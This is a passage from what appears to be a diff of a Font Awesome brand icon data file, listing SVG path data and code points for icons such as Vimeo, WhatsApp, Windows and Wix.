1.7H225c-4.6-13.9-11.4-27.7-11.4-34.1 0-2.2.3-5.1 1.1-8.2-8.8 10.8-14 15.9-14 25 0 7.5 10.4 28.3 10.4 33.3 0 1.7-.5 3.3-1.4 4.9-9.6-12.7-15.5-20.7-18.8-20.7h-12l-11.2-28c-3.8-9.6-5.7-16-5.7-18.8 0-3.8.5-7.7 1.7-12.2-1 1.3-3.7 4.7-5.5 7.1-.8-2.1-3.1-7.7-4.6-11.5-2.1 2.5-7.5 9.1-11.2 13.6.9 2.3 3.3 8.1 4.9 12.2-2.5 3.3-9.1 11.8-13.6 17.7-4 5.3-5.8 13.3-2.7 21.8 2.5 6.7 2 7.9-1.7 14.1H191c5.5 0 14.3 14 15.5 22 13.2-16 15.4-19.6 16.8-21.6h107c3.9 0 7.2-1.9 9.9-5.8zm20.1-26.6V181.7c-9 12.5-15.9 18.6-20.7 18.6 7.1 14.4 10.7 23.9 10.7 28.3v66.3c0 17.5 8.6 20.4 24 20.4 8.1 0 12.5-.8 13.7-2.7-4.3-1.6-7.6-2.5-9.9-3.3-8.1-3.2-17.8-7.4-17.8-26z"], + "vaadin": [448, 512, [], "f408", "M224.5 140.7c1.5-17.6 4.9-52.7 49.8-52.7h98.6c20.7 0 32.1-7.8 32.1-21.6V54.1c0-12.2 9.3-22.1 21.5-22.1S448 41.9 448 54.1v36.5c0 42.9-21.5 62-66.8 62H280.7c-30.1 0-33 14.7-33 27.1 0 1.3-.1 2.5-.2 3.7-.7 12.3-10.9 22.2-23.4 22.2s-22.7-9.8-23.4-22.2c-.1-1.2-.2-2.4-.2-3.7 0-12.3-3-27.1-33-27.1H66.8c-45.3 0-66.8-19.1-66.8-62V54.1C0 41.9 9.4 32 21.6 32s21.5 9.9 21.5 22.1v12.3C43.1 80.2 54.5 88 75.2 88h98.6c44.8 0 48.3 35.1 49.8 52.7h.9zM224 456c11.5 0 21.4-7 25.7-16.3 1.1-1.8 97.1-169.6 98.2-171.4 11.9-19.6-3.2-44.3-27.2-44.3-13.9 0-23.3 6.4-29.8 20.3L224 362l-66.9-117.7c-6.4-13.9-15.9-20.3-29.8-20.3-24 0-39.1 24.6-27.2 44.3 1.1 1.9 97.1 169.6 98.2 171.4 4.3 9.3 14.2 16.3 25.7 16.3z"], + "viacoin": [384, 512, [], "f237", "M384 32h-64l-80.7 192h-94.5L64 32H0l48 112H0v48h68.5l13.8 32H0v48h102.8L192 480l89.2-208H384v-48h-82.3l13.8-32H384v-48h-48l48-112zM192 336l-27-64h54l-27 64z"], + "viadeo": [448, 512, [], "f2a9", "M276.2 150.5v.7C258.3 98.6 233.6 47.8 205.4 0c43.3 29.2 67 100 70.8 150.5zm32.7 121.7c7.6 18.2 11 37.5 11 57 0 77.7-57.8 141-137.8 139.4l3.8-.3c74.2-46.7 109.3-118.6 109.3-205.1 0-38.1-6.5-75.9-18.9-112 1 11.7 1 23.7 1 35.4 0 91.8-18.1 241.6-116.6 280C95 455.2 49.4 398 49.4 329.2c0-75.6 57.4-142.3 135.4-142.3 16.8 0 33.7 3.1 49.1 9.6 1.7-15.1 6.5-29.9 13.4-43.3-19.9-7.2-41.2-10.7-62.5-10.7-161.5 0-238.7 195.9-129.9 313.7 67.9 74.6 192 73.9 259.8 0 56.6-61.3 60.9-142.4 36.4-201-12.7 8-27.1 13.9-42.2 17zM418.1 11.7c-31 66.5-81.3 47.2-115.8 80.1-12.4 12-20.6 34-20.6 50.5 0 14.1 4.5 27.1 12 38.8 47.4-11 98.3-46 118.2-90.7-.7 5.5-4.8 14.4-7.2 19.2-20.3 35.7-64.6 65.6-99.7 84.9 14.8 14.4 33.7 25.8 55 25.8 79 0 110.1-134.6 58.1-208.6z"], + "viadeo-square": [448, 512, [], "f2aa", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM280.7 381.2c-42.4 46.2-120 46.6-162.4 0-68-73.6-19.8-196.1 81.2-196.1 13.3 0 26.6 2.1 39.1 6.7-4.3 8.4-7.3 17.6-8.4 27.1-9.7-4.1-20.2-6-30.7-6-48.8 0-84.6 41.7-84.6 88.9 0 43 28.5 78.7 69.5 85.9 61.5-24 72.9-117.6 72.9-175 0-7.3 0-14.8-.6-22.1-11.2-32.9-26.6-64.6-44.2-94.5 27.1 18.3 41.9 62.5 44.2 94.1v.4c7.7 22.5 11.8 46.2 11.8 70 0 54.1-21.9 99-68.3 128.2l-2.4.2c50 1 86.2-38.6 86.2-87.2 0-12.2-2.1-24.3-6.9-35.7 9.5-1.9 18.5-5.6 26.4-10.5 15.3 36.6 12.6 87.3-22.8 125.6zM309 233.7c-13.3 0-25.1-7.1-34.4-16.1 21.9-12 49.6-30.7 62.3-53 1.5-3 4.1-8.6 4.5-12-12.5 27.9-44.2 49.8-73.9 56.7-4.7-7.3-7.5-15.5-7.5-24.3 0-10.3 5.2-24.1 12.9-31.6 21.6-20.5 53-8.5 72.4-50 32.5 46.2 13.1 130.3-36.3 130.3z"], + "viber": [512, 512, [], "f409", "M444 49.9C431.3 38.2 379.9.9 265.3.4c0 0-135.1-8.1-200.9 52.3C27.8 89.3 14.9 143 13.5 209.5c-1.4 66.5-3.1 191.1 117 224.9h.1l-.1 51.6s-.8 20.9 13 25.1c16.6 5.2 26.4-10.7 42.3-27.8 8.7-9.4 20.7-23.2 29.8-33.7 82.2 6.9 145.3-8.9 152.5-11.2 16.6-5.4 110.5-17.4 125.7-142 15.8-128.6-7.6-209.8-49.8-246.5zM457.9 287c-12.9 104-89 110.6-103 115.1-6 1.9-61.5 15.7-131.2 11.2 0 0-52 62.7-68.2 79-5.3 5.3-11.1 4.8-11-5.7 0-6.9.4-85.7.4-85.7-.1 0-.1 0 0 0-101.8-28.2-95.8-134.3-94.7-189.8 1.1-55.5 11.6-101 42.6-131.6 55.7-50.5 170.4-43 170.4-43 96.9.4 143.3 29.6 154.1 39.4 35.7 30.6 53.9 103.8 40.6 211.1zm-139-80.8c.4 8.6-12.5 9.2-12.9.6-1.1-22-11.4-32.7-32.6-33.9-8.6-.5-7.8-13.4.7-12.9 27.9 1.5 43.4 17.5 44.8 46.2zm20.3 11.3c1-42.4-25.5-75.6-75.8-79.3-8.5-.6-7.6-13.5.9-12.9 58 4.2 88.9 44.1 87.8 92.5-.1 8.6-13.1 8.2-12.9-.3zm47 13.4c.1 8.6-12.9 8.7-12.9.1-.6-81.5-54.9-125.9-120.8-126.4-8.5-.1-8.5-12.9 0-12.9 73.7.5 133 51.4 133.7 139.2zM374.9 329v.2c-10.8 19-31 40-51.8 33.3l-.2-.3c-21.1-5.9-70.8-31.5-102.2-56.5-16.2-12.8-31-27.9-42.4-42.4-10.3-12.9-20.7-28.2-30.8-46.6-21.3-38.5-26-55.7-26-55.7-6.7-20.8 14.2-41 33.3-51.8h.2c9.2-4.8 18-3.2 23.9 3.9 0 0 12.4 14.8 17.7 22.1 5 6.8 11.7 17.7 15.2 23.8 6.1 10.9 2.3 22-3.7 26.6l-12 9.6c-6.1 4.9-5.3 14-5.3 14s17.8 67.3 84.3 84.3c0 0 9.1.8 14-5.3l9.6-12c4.6-6 15.7-9.8 26.6-3.7 14.7 8.3 33.4 21.2 45.8 32.9 7 5.7 8.6 14.4 3.8 23.6z"], + "vimeo": [448, 512, [], "f40a", "M403.2 32H44.8C20.1 32 0 52.1 0 76.8v358.4C0 459.9 20.1 480 44.8 480h358.4c24.7 0 44.8-20.1 44.8-44.8V76.8c0-24.7-20.1-44.8-44.8-44.8zM377 180.8c-1.4 31.5-23.4 74.7-66 129.4-44 57.2-81.3 85.8-111.7 85.8-18.9 0-34.8-17.4-47.9-52.3-25.5-93.3-36.4-148-57.4-148-2.4 0-10.9 5.1-25.4 15.2l-15.2-19.6c37.3-32.8 72.9-69.2 95.2-71.2 25.2-2.4 40.7 14.8 46.5 51.7 20.7 131.2 29.9 151 67.6 91.6 13.5-21.4 20.8-37.7 21.8-48.9 3.5-33.2-25.9-30.9-45.8-22.4 15.9-52.1 46.3-77.4 91.2-76 33.3.9 49 22.5 47.1 64.7z"], + "vimeo-square": [448, 512, [], "f194", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-16.2 149.6c-1.4 31.1-23.2 73.8-65.3 127.9-43.5 56.5-80.3 84.8-110.4 84.8-18.7 0-34.4-17.2-47.3-51.6-25.2-92.3-35.9-146.4-56.7-146.4-2.4 0-10.8 5-25.1 15.1L64 192c36.9-32.4 72.1-68.4 94.1-70.4 24.9-2.4 40.2 14.6 46 51.1 20.5 129.6 29.6 149.2 66.8 90.5 13.4-21.2 20.6-37.2 21.5-48.3 3.4-32.8-25.6-30.6-45.2-22.2 15.7-51.5 45.8-76.5 90.1-75.1 32.9 1 48.4 22.4 46.5 64z"], + "vimeo-v": [448, 512, [], "f27d", "M447.8 153.6c-2 43.6-32.4 103.3-91.4 179.1-60.9 79.2-112.4 118.8-154.6 118.8-26.1 0-48.2-24.1-66.3-72.3C100.3 250 85.3 174.3 56.2 174.3c-3.4 0-15.1 7.1-35.2 21.1L0 168.2c51.6-45.3 100.9-95.7 131.8-98.5 34.9-3.4 56.3 20.5 64.4 71.5 28.7 181.5 41.4 208.9 93.6 126.7 18.7-29.6 28.8-52.1 30.2-67.6 4.8-45.9-35.8-42.8-63.3-31 22-72.1 64.1-107.1 126.2-105.1 45.8 1.2 67.5 31.1 64.9 89.4z"], + "vine": [384, 512, [], "f1ca", "M384 254.7v52.1c-18.4 4.2-36.9 6.1-52.1 6.1-36.9 77.4-103 143.8-125.1 156.2-14 7.9-27.1 8.4-42.7-.8C137 452 34.2 367.7 0 102.7h74.5C93.2 261.8 139 343.4 189.3 404.5c27.9-27.9 54.8-65.1 75.6-106.9-49.8-25.3-80.1-80.9-80.1-145.6 0-65.6 37.7-115.1 102.2-115.1 114.9 0 106.2 127.9 81.6 181.5 0 0-46.4 9.2-63.5-20.5 3.4-11.3 8.2-30.8 8.2-48.5 0-31.3-11.3-46.6-28.4-46.6-18.2 0-30.8 17.1-30.8 50 .1 79.2 59.4 118.7 129.9 101.9z"], + "vk": [576, 512, [], "f189", "M545 117.7c3.7-12.5 0-21.7-17.8-21.7h-58.9c-15 0-21.9 7.9-25.6 16.7 0 0-30 73.1-72.4 120.5-13.7 13.7-20 18.1-27.5 18.1-3.7 0-9.4-4.4-9.4-16.9V117.7c0-15-4.2-21.7-16.6-21.7h-92.6c-9.4 0-15 7-15 13.5 0 14.2 21.2 17.5 23.4 57.5v86.8c0 19-3.4 22.5-10.9 22.5-20 0-68.6-73.4-97.4-157.4-5.8-16.3-11.5-22.9-26.6-22.9H38.8c-16.8 0-20.2 7.9-20.2 16.7 0 15.6 20 93.1 93.1 195.5C160.4 378.1 229 416 291.4 416c37.5 0 42.1-8.4 42.1-22.9 0-66.8-3.4-73.1 15.4-73.1 8.7 0 23.7 4.4 58.7 38.1 40 40 46.6 57.9 69 57.9h58.9c16.8 0 25.3-8.4 20.4-25-11.2-34.9-86.9-106.7-90.3-111.5-8.7-11.2-6.2-16.2 0-26.2.1-.1 72-101.3 79.4-135.6z"], + "vnv": [640, 512, [], "f40b", "M104.9 352c-34.1 0-46.4-30.4-46.4-30.4L2.6 210.1S-7.8 192 13 192h32.8c10.4 0 13.2 8.7 18.8 18.1l36.7 74.5s5.2 13.1 21.1 13.1 21.1-13.1 21.1-13.1l36.7-74.5c5.6-9.5 8.4-18.1 18.8-18.1h32.8c20.8 0 10.4 18.1 10.4 18.1l-55.8 111.5S174.2 352 140 352h-35.1zm395 0c-34.1 0-46.4-30.4-46.4-30.4l-55.9-111.5S387.2 192 408 192h32.8c10.4 0 13.2 8.7 18.8 18.1l36.7 74.5s5.2 13.1 21.1 13.1 21.1-13.1 21.1-13.1l36.8-74.5c5.6-9.5 8.4-18.1 18.8-18.1H627c20.8 0 10.4 18.1 10.4 18.1l-55.9 111.5S569.3 352 535.1 352h-35.2zM337.6 192c34.1 0 46.4 30.4 46.4 30.4l55.9 111.5s10.4 18.1-10.4 18.1h-32.8c-10.4 0-13.2-8.7-18.8-18.1l-36.7-74.5s-5.2-13.1-21.1-13.1c-15.9 0-21.1 13.1-21.1 13.1l-36.7 74.5c-5.6 9.4-8.4 18.1-18.8 18.1h-32.9c-20.8 0-10.4-18.1-10.4-18.1l55.9-111.5s12.2-30.4 46.4-30.4h35.1z"], + "vuejs": [448, 512, [], "f41f", "M356.9 64.3H280l-56 88.6-48-88.6H0L224 448 448 64.3h-91.1zm-301.2 32h53.8L224 294.5 338.4 96.3h53.8L224 384.5 55.7 96.3z"], + "watchman-monitoring": [512, 512, [], "e087", "M256,16C123.452,16,16,123.452,16,256S123.452,496,256,496,496,388.548,496,256,388.548,16,256,16ZM121.69,429.122C70.056,388.972,36.741,326.322,36.741,256a218.519,218.519,0,0,1,9.587-64.122l102.9-17.895-.121,10.967-13.943,2.013s-.144,12.5-.144,19.549a12.778,12.778,0,0,0,4.887,10.349l9.468,7.4Zm105.692-283.27,8.48-7.618s6.934-5.38-.143-9.344c-7.188-4.024-39.53-34.5-39.53-34.5-5.348-5.477-8.257-7.347-15.46,0,0,0-32.342,30.474-39.529,34.5-7.078,3.964-.144,9.344-.144,9.344l8.481,7.618-.048,4.369L75.982,131.045c39.644-56.938,105.532-94.3,180.018-94.3A218.754,218.754,0,0,1,420.934,111.77l-193.512,37.7Zm34.063,329.269-33.9-250.857,9.467-7.4a12.778,12.778,0,0,0,4.888-10.349c0-7.044-.144-19.549-.144-19.549l-13.943-2.013-.116-10.474,241.711,31.391A218.872,218.872,0,0,1,475.259,256C475.259,375.074,379.831,472.212,261.445,475.121Z"], + "waze": [512, 512, [], "f83f", "M502.17 201.67C516.69 287.53 471.23 369.59 389 409.8c13 34.1-12.4 70.2-48.32 70.2a51.68 51.68 0 0 1-51.57-49c-6.44.19-64.2 0-76.33-.64A51.69 51.69 0 0 1 159 479.92c-33.86-1.36-57.95-34.84-47-67.92-37.21-13.11-72.54-34.87-99.62-70.8-13-17.28-.48-41.8 20.84-41.8 46.31 0 32.22-54.17 43.15-110.26C94.8 95.2 193.12 32 288.09 32c102.48 0 197.15 70.67 214.08 169.67zM373.51 388.28c42-19.18 81.33-56.71 96.29-102.14 40.48-123.09-64.15-228-181.71-228-83.45 0-170.32 55.42-186.07 136-9.53 48.91 5 131.35-68.75 131.35C58.21 358.6 91.6 378.11 127 389.54c24.66-21.8 63.87-15.47 79.83 14.34 14.22 1 79.19 1.18 87.9.82a51.69 51.69 0 0 1 78.78-16.42zM205.12 187.13c0-34.74 50.84-34.75 50.84 0s-50.84 34.74-50.84 0zm116.57 0c0-34.74 50.86-34.75 50.86 0s-50.86 34.75-50.86 0zm-122.61 70.69c-3.44-16.94 22.18-22.18 25.62-5.21l.06.28c4.14 21.42 29.85 44 64.12 43.07 35.68-.94 59.25-22.21 64.11-42.77 4.46-16.05 28.6-10.36 25.47 6-5.23 22.18-31.21 62-91.46 62.9-42.55 0-80.88-27.84-87.9-64.25z"], + "weebly": [512, 512, [], "f5cc", "M425.09 65.83c-39.88 0-73.28 25.73-83.66 64.33-18.16-58.06-65.5-64.33-84.95-64.33-19.78 0-66.8 6.28-85.28 64.33-10.38-38.6-43.45-64.33-83.66-64.33C38.59 65.83 0 99.72 0 143.03c0 28.96 4.18 33.27 77.17 233.48 22.37 60.57 67.77 69.35 92.74 69.35 39.23 0 70.04-19.46 85.93-53.98 15.89 34.83 46.69 54.29 85.93 54.29 24.97 0 70.36-9.1 92.74-69.67 76.55-208.65 77.5-205.58 77.5-227.2.63-48.32-36.01-83.47-86.92-83.47zm26.34 114.81l-65.57 176.44c-7.92 21.49-21.22 37.22-46.24 37.22-23.44 0-37.38-12.41-44.03-33.9l-39.28-117.42h-.95L216.08 360.4c-6.96 21.5-20.9 33.6-44.02 33.6-25.02 0-38.33-15.74-46.24-37.22L60.88 181.55c-5.38-14.83-7.92-23.91-7.92-34.5 0-16.34 15.84-29.36 38.33-29.36 18.69 0 31.99 11.8 36.11 29.05l44.03 139.82h.95l44.66-136.79c6.02-19.67 16.47-32.08 38.96-32.08s32.94 12.11 38.96 32.08l44.66 136.79h.95l44.03-139.82c4.12-17.25 17.42-29.05 36.11-29.05 22.17 0 38.33 13.32 38.33 35.71-.32 7.87-4.12 16.04-7.61 27.24z"], + "weibo": [512, 512, [], "f18a", "M407 177.6c7.6-24-13.4-46.8-37.4-41.7-22 4.8-28.8-28.1-7.1-32.8 50.1-10.9 92.3 37.1 76.5 84.8-6.8 21.2-38.8 10.8-32-10.3zM214.8 446.7C108.5 446.7 0 395.3 0 310.4c0-44.3 28-95.4 76.3-143.7C176 67 279.5 65.8 249.9 161c-4 13.1 12.3 5.7 12.3 6 79.5-33.6 140.5-16.8 114 51.4-3.7 9.4 1.1 10.9 8.3 13.1 135.7 42.3 34.8 215.2-169.7 215.2zm143.7-146.3c-5.4-55.7-78.5-94-163.4-85.7-84.8 8.6-148.8 60.3-143.4 116s78.5 94 163.4 85.7c84.8-8.6 148.8-60.3 143.4-116zM347.9 35.1c-25.9 5.6-16.8 43.7 8.3 38.3 72.3-15.2 134.8 52.8 111.7 124-7.4 24.2 29.1 37 37.4 12 31.9-99.8-55.1-195.9-157.4-174.3zm-78.5 311c-17.1 38.8-66.8 60-109.1 46.3-40.8-13.1-58-53.4-40.3-89.7 17.7-35.4 63.1-55.4 103.4-45.1 42 10.8 63.1 50.2 46 88.5zm-86.3-30c-12.9-5.4-30 .3-38 12.9-8.3 12.9-4.3 28 8.6 34 13.1 6 30.8.3 39.1-12.9 8-13.1 3.7-28.3-9.7-34zm32.6-13.4c-5.1-1.7-11.4.6-14.3 5.4-2.9 5.1-1.4 10.6 3.7 12.9 5.1 2 11.7-.3 14.6-5.4 2.8-5.2 1.1-10.9-4-12.9z"], + "weixin": [576, 512, [], "f1d7", "M385.2 167.6c6.4 0 12.6.3 18.8 1.1C387.4 90.3 303.3 32 207.7 32 100.5 32 13 104.8 13 197.4c0 53.4 29.3 97.5 77.9 131.6l-19.3 58.6 68-34.1c24.4 4.8 43.8 9.7 68.2 9.7 6.2 0 12.1-.3 18.3-.8-4-12.9-6.2-26.6-6.2-40.8-.1-84.9 72.9-154 165.3-154zm-104.5-52.9c14.5 0 24.2 9.7 24.2 24.4 0 14.5-9.7 24.2-24.2 24.2-14.8 0-29.3-9.7-29.3-24.2.1-14.7 14.6-24.4 29.3-24.4zm-136.4 48.6c-14.5 0-29.3-9.7-29.3-24.2 0-14.8 14.8-24.4 29.3-24.4 14.8 0 24.4 9.7 24.4 24.4 0 14.6-9.6 24.2-24.4 24.2zM563 319.4c0-77.9-77.9-141.3-165.4-141.3-92.7 0-165.4 63.4-165.4 141.3S305 460.7 397.6 460.7c19.3 0 38.9-5.1 58.6-9.9l53.4 29.3-14.8-48.6C534 402.1 563 363.2 563 319.4zm-219.1-24.5c-9.7 0-19.3-9.7-19.3-19.6 0-9.7 9.7-19.3 19.3-19.3 14.8 0 24.4 9.7 24.4 19.3 0 10-9.7 19.6-24.4 19.6zm107.1 0c-9.7 0-19.3-9.7-19.3-19.6 0-9.7 9.7-19.3 19.3-19.3 14.5 0 24.4 9.7 24.4 19.3.1 10-9.9 19.6-24.4 19.6z"], + "whatsapp": [448, 512, [], "f232", "M380.9 97.1C339 55.1 283.2 32 223.9 32c-122.4 0-222 99.6-222 222 0 39.1 10.2 77.3 29.6 111L0 480l117.7-30.9c32.4 17.7 68.9 27 106.1 27h.1c122.3 0 224.1-99.6 224.1-222 0-59.3-25.2-115-67.1-157zm-157 341.6c-33.2 0-65.7-8.9-94-25.7l-6.7-4-69.8 18.3L72 359.2l-4.4-7c-18.5-29.4-28.2-63.3-28.2-98.2 0-101.7 82.8-184.5 184.6-184.5 49.3 0 95.6 19.2 130.4 54.1 34.8 34.9 56.2 81.2 56.1 130.5 0 101.8-84.9 184.6-186.6 184.6zm101.2-138.2c-5.5-2.8-32.8-16.2-37.9-18-5.1-1.9-8.8-2.8-12.5 2.8-3.7 5.6-14.3 18-17.6 21.8-3.2 3.7-6.5 4.2-12 1.4-32.6-16.3-54-29.1-75.5-66-5.7-9.8 5.7-9.1 16.3-30.3 1.8-3.7.9-6.9-.5-9.7-1.4-2.8-12.5-30.1-17.1-41.2-4.5-10.8-9.1-9.3-12.5-9.5-3.2-.2-6.9-.2-10.6-.2-3.7 0-9.7 1.4-14.8 6.9-5.1 5.6-19.4 19-19.4 46.3 0 27.3 19.9 53.7 22.6 57.4 2.8 3.7 39.1 59.7 94.8 83.8 35.2 15.2 49 16.5 66.6 13.9 10.7-1.6 32.8-13.4 37.4-26.4 4.6-13 4.6-24.1 3.2-26.4-1.3-2.5-5-3.9-10.5-6.6z"], + "whatsapp-square": [448, 512, [], "f40c", "M224 122.8c-72.7 0-131.8 59.1-131.9 131.8 0 24.9 7 49.2 20.2 70.1l3.1 5-13.3 48.6 49.9-13.1 4.8 2.9c20.2 12 43.4 18.4 67.1 18.4h.1c72.6 0 133.3-59.1 133.3-131.8 0-35.2-15.2-68.3-40.1-93.2-25-25-58-38.7-93.2-38.7zm77.5 188.4c-3.3 9.3-19.1 17.7-26.7 18.8-12.6 1.9-22.4.9-47.5-9.9-39.7-17.2-65.7-57.2-67.7-59.8-2-2.6-16.2-21.5-16.2-41s10.2-29.1 13.9-33.1c3.6-4 7.9-5 10.6-5 2.6 0 5.3 0 7.6.1 2.4.1 5.7-.9 8.9 6.8 3.3 7.9 11.2 27.4 12.2 29.4s1.7 4.3.3 6.9c-7.6 15.2-15.7 14.6-11.6 21.6 15.3 26.3 30.6 35.4 53.9 47.1 4 2 6.3 1.7 8.6-1 2.3-2.6 9.9-11.6 12.5-15.5 2.6-4 5.3-3.3 8.9-2 3.6 1.3 23.1 10.9 27.1 12.9s6.6 3 7.6 4.6c.9 1.9.9 9.9-2.4 19.1zM400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM223.9 413.2c-26.6 0-52.7-6.7-75.8-19.3L64 416l22.5-82.2c-13.9-24-21.2-51.3-21.2-79.3C65.4 167.1 136.5 96 223.9 96c42.4 0 82.2 16.5 112.2 46.5 29.9 30 47.9 69.8 47.9 112.2 0 87.4-72.7 158.5-160.1 158.5z"], + "whmcs": [448, 512, [], "f40d", "M448 161v-21.3l-28.5-8.8-2.2-10.4 20.1-20.7L427 80.4l-29 7.5-7.2-7.5 7.5-28.2-19.1-11.6-21.3 21-10.7-3.2-7-26.4h-22.6l-6.2 26.4-12.1 3.2-19.7-21-19.4 11 8.1 27.7-8.1 8.4-28.5-7.5-11 19.1 20.7 21-2.9 10.4-28.5 7.8-.3 21.7 28.8 7.5 2.4 12.1-20.1 19.9 10.4 18.5 29.6-7.5 7.2 8.6-8.1 26.9 19.9 11.6 19.4-20.4 11.6 2.9 6.7 28.5 22.6.3 6.7-28.8 11.6-3.5 20.7 21.6 20.4-12.1-8.8-28 7.8-8.1 28.8 8.8 10.3-20.1-20.9-18.8 2.2-12.1 29.1-7zm-119.2 45.2c-31.3 0-56.8-25.4-56.8-56.8s25.4-56.8 56.8-56.8 56.8 25.4 56.8 56.8c0 31.5-25.4 56.8-56.8 56.8zm72.3 16.4l46.9 14.5V277l-55.1 13.4-4.1 22.7 38.9 35.3-19.2 37.9-54-16.7-14.6 15.2 16.7 52.5-38.3 22.7-38.9-40.5-21.7 6.6-12.6 54-42.4-.5-12.6-53.6-21.7-5.6-36.4 38.4-37.4-21.7 15.2-50.5-13.7-16.1-55.5 14.1-19.7-34.8 37.9-37.4-4.8-22.8-54-14.1.5-40.9L54 219.9l5.7-19.7-38.9-39.4L41.5 125l53.6 14.1 15.2-15.7-15.2-52 36.4-20.7 36.8 39.4L191 84l11.6-52H245l11.6 45.9L234 72l-6.3-1.7-3.3 5.7-11 19.1-3.3 5.6 4.6 4.6 17.2 17.4-.3 1-23.8 6.5-6.2 1.7-.1 6.4-.2 12.9C153.8 161.6 118 204 118 254.7c0 58.3 47.3 105.7 105.7 105.7 50.5 0 92.7-35.4 103.2-82.8l13.2.2 6.9.1 1.6-6.7 5.6-24 1.9-.6 17.1 17.8 4.7 4.9 5.8-3.4 20.4-12.1 5.8-3.5-2-6.5-6.8-21.2z"], + "wikipedia-w": [640, 512, [], "f266", "M640 51.2l-.3 12.2c-28.1.8-45 15.8-55.8 40.3-25 57.8-103.3 240-155.3 358.6H415l-81.9-193.1c-32.5 63.6-68.3 130-99.2 193.1-.3.3-15 0-15-.3C172 352.3 122.8 243.4 75.8 133.4 64.4 106.7 26.4 63.4.2 63.7c0-3.1-.3-10-.3-14.2h161.9v13.9c-19.2 1.1-52.8 13.3-43.3 34.2 21.9 49.7 103.6 240.3 125.6 288.6 15-29.7 57.8-109.2 75.3-142.8-13.9-28.3-58.6-133.9-72.8-160-9.7-17.8-36.1-19.4-55.8-19.7V49.8l142.5.3v13.1c-19.4.6-38.1 7.8-29.4 26.1 18.9 40 30.6 68.1 48.1 104.7 5.6-10.8 34.7-69.4 48.1-100.8 8.9-20.6-3.9-28.6-38.6-29.4.3-3.6 0-10.3.3-13.6 44.4-.3 111.1-.3 123.1-.6v13.6c-22.5.8-45.8 12.8-58.1 31.7l-59.2 122.8c6.4 16.1 63.3 142.8 69.2 156.7L559.2 91.8c-8.6-23.1-36.4-28.1-47.2-28.3V49.6l127.8 1.1.2.5z"], + "windows": [448, 512, [], "f17a", "M0 93.7l183.6-25.3v177.4H0V93.7zm0 324.6l183.6 25.3V268.4H0v149.9zm203.8 28L448 480V268.4H203.8v177.9zm0-380.6v180.1H448V32L203.8 65.7z"], + "wix": [640, 512, [], "f5cf", "M393.38 131.69c0 13.03 2.08 32.69-28.68 43.83-9.52 3.45-15.95 9.66-15.95 9.66 0-31 4.72-42.22 17.4-48.86 9.75-5.11 27.23-4.63 27.23-4.63zm-115.8 35.54l-34.24 132.66-28.48-108.57c-7.69-31.99-20.81-48.53-48.43-48.53-27.37 0-40.66 16.18-48.43 48.53L89.52 299.89 55.28 167.23C49.73 140.51 23.86 128.96 0 131.96l65.57 247.93s21.63 1.56 32.46-3.96c14.22-7.25 20.98-12.84 29.59-46.57 7.67-30.07 29.11-118.41 31.12-124.7 4.76-14.94 11.09-13.81 15.4 0 1.97 6.3 23.45 94.63 31.12 124.7 8.6 33.73 15.37 39.32 29.59 46.57 10.82 5.52 32.46 3.96 32.46 3.96l65.57-247.93c-24.42-3.07-49.82 8.93-55.3 35.27zm115.78 5.21s-4.1 6.34-13.46 11.57c-6.01 3.36-11.78 5.64-17.97 8.61-15.14 7.26-13.18 13.95-13.18 35.2v152.07s16.55 2.09 27.37-3.43c13.93-7.1 17.13-13.95 17.26-44.78V181.41l-.02.01v-8.98zm163.44 84.08L640 132.78s-35.11-5.98-52.5 9.85c-13.3 12.1-24.41 29.55-54.18 72.47-.47.73-6.25 10.54-13.07 0-29.29-42.23-40.8-60.29-54.18-72.47-17.39-15.83-52.5-9.85-52.5-9.85l83.2 123.74-82.97 123.36s36.57 4.62 53.95-11.21c11.49-10.46 17.58-20.37 52.51-70.72 6.81-10.52 12.57-.77 13.07 0 29.4 42.38 39.23 58.06 53.14 70.72 17.39 15.83 53.32 11.21 53.32 11.21L556.8 256.52z"], + "wizards-of-the-coast": [640, 512, [], "f730", "M219.19 345.69c-1.9 1.38-11.07 8.44-.26 23.57 4.64 6.42 14.11 12.79 21.73 6.55 6.5-4.88 7.35-12.92.26-23.04-5.47-7.76-14.28-12.88-21.73-7.08zm336.75 75.94c-.34 1.7-.55 1.67.79 0 2.09-4.19 4.19-10.21 4.98-19.9 3.14-38.49-40.33-71.49-101.34-78.03-54.73-6.02-124.38 9.17-188.8 60.49l-.26 1.57c2.62 4.98 4.98 10.74 3.4 21.21l.79.26c63.89-58.4 131.19-77.25 184.35-73.85 58.4 3.67 100.03 34.04 100.03 68.08-.01 9.96-2.63 15.72-3.94 20.17zM392.28 240.42c.79 7.07 4.19 10.21 9.17 10.47 5.5.26 9.43-2.62 10.47-6.55.79-3.4 2.09-29.85 2.09-29.85s-11.26 6.55-14.93 10.47c-3.66 3.68-7.33 8.39-6.8 15.46zm-50.02-151.1C137.75 89.32 13.1 226.8.79 241.2c-1.05.52-1.31.79.79 1.31 60.49 16.5 155.81 81.18 196.13 202.16l1.05.26c55.25-69.92 140.88-128.05 236.99-128.05 80.92 0 130.15 42.16 130.15 80.39 0 18.33-6.55 33.52-22.26 46.35 0 .96-.2.79.79.79 14.66-10.74 27.5-28.8 27.5-48.18 0-22.78-12.05-38.23-12.05-38.23 7.07 7.07 10.74 16.24 10.74 16.24 5.76-40.85 26.97-62.32 26.97-62.32-2.36-9.69-6.81-17.81-6.81-17.81 7.59 8.12 14.4 27.5 14.4 41.37 0 10.47-3.4 22.78-12.57 31.95l.26.52c8.12-4.98 16.5-16.76 16.5-37.97 0-15.71-4.71-25.92-4.71-25.92 5.76-5.24 11.26-9.17 15.97-11.78.79 3.4 2.09 9.69 2.36 14.93 0 1.05.79 1.83 1.05 0 .79-5.76-.26-16.24-.26-16.5 6.02-3.14 9.69-4.45 9.69-4.45C617.74 176 489.43 89.32 342.26 89.32zm-99.24 289.62c-11.06 8.99-24.2 4.08-30.64-4.19-7.45-9.58-6.76-24.09 4.19-32.47 14.85-11.35 27.08-.49 31.16 5.5.28.39 12.13 16.57-4.71 31.16zm2.09-136.43l9.43-17.81 11.78 70.96-12.57 6.02-24.62-28.8 14.14-26.71 3.67 4.45-1.83-8.11zm18.59 